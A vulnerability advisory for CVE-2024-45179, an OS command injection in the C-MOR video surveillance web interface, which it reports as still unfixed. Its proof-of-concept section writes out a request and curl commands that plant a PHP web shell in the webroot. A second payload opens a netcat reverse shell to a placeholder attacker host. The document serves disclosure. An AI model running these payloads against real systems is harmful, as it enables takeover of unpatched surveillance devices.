Affected Version(s): 5.2401, 6.00PL01  
Tested Version(s): 5.2401, 6.00PL01  
Vulnerability Type: OS Command Injection (CWE-78)  
Risk Level: High  
Solution Status: Open  
Manufacturer Notification: 2024-04-05  
Solution Date: -  
Public Disclosure: 2024-09-04  
CVE Reference: CVE-2024-45179  
Authors of Advisory: Matthias Deeg (SySS GmbH), Chris Beiter,  
Frederik Beimgraben,  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Overview:  
  
The software product C-MOR is an IP video surveillance system.  
  
The manufacturer describes the product as follows:  
  
"With C-MOR video surveillance, it is possible to check your  
surveillance over network and the Internet. You can access the live  
view as well as previous recordings from any PC or mobile device.  
C-MOR is managed and controlled over the C-MOR web interface.  
IP settings, camera recording setup, user rights and so on are set  
over the web without the installation of any software on the  
client."[1]  
  
Due to insufficient input validation, the C-MOR web interface is  
vulnerable to OS command injection attacks.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Vulnerability Details:  
  
By analyzing the C-MOR web interface, it was found that different  
functionality is vulnerable to OS command injection attacks, for  
example for generating new X.509 certificates or setting the time zone.  
  
The OS command injection vulnerability in the script "generatesslreq.pml"  
can be exploited as a low-privileged authenticated user (see   
SYSS-2024-024[3])  
in order to execute commands in the context of the Linux user "www-data".  
  
The OS command injection vulnerability in the script "settimezone.pml"  
requires an administrative user for the C-MOR web interface.  
  
By also exploiting the privilege escalation vulnerability described in  
SYSS-2024-027[4], it is possible to execute commands on the C-MOR system  
with root privileges.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Proof of Concept (PoC):  
  
By sending the following HTTP POST request to the script  
"generatesslreq.pml", the injected OS command via the parameter  
"city" is executed as Linux user "www-data".  
  
In this sample attack vector, a simple PHP web shell is created in  
the backup directory within the web server's webroot:  
  
POST /generatesslreq.pml HTTP/1.1  
Host: <HOST>  
Authorization: Basic <CREDENTIALS>  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 152  
Connection: close  
  
countrycode=de&state=state&city=city'|echo '<?php echo   
system($_GET["cmd"]);?>' > /srv/www/htdocs/backup/webshell.php   
#&organization=org&servername=syss  
  
  
This PoC attack can be performed using the following curl command:  
  
curl -X POST -d "countrycode=de&state=state&city=city'|echo '<?php echo   
system($_GET["cmd"]);?>' > /srv/www/htdocs/backup/webshell.php   
#&organization=org&servername=syss" --user "<USERNAME>:<PASSWORD>"   
--ciphers "DEFAULT:!DH" https://<HOST>/generatesslreq.pml  
  
The uploaded web shell can be used via the following URL:  
  
https://<HOST>/backup/web shell.php?cmd=<COMMAND>  
  
  
In version 6.00PL01, an OS command injection was, for instance, possible  
using the following attack vector:  
  
curl -X POST \  
-d   
'hour=00&min=34&sec=27&day=06&month=06&year=2024+%26%26+nc+<ATTACKERIP>+<ATTACKER-PORT>+-e+/bin/bash+%26'   
\  
--user "<USERNAME>:<PASSWORD>" \  
--insecure \  
--ciphers 'DEFAULT:!DH' \  
https://<HOST>/en/setdatetime.pml  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Solution:  
  
The described security vulnerability has not been fixed entirely in the   
newly  
released software version 6.00PL01.  
  
There is no fix for this security issue.
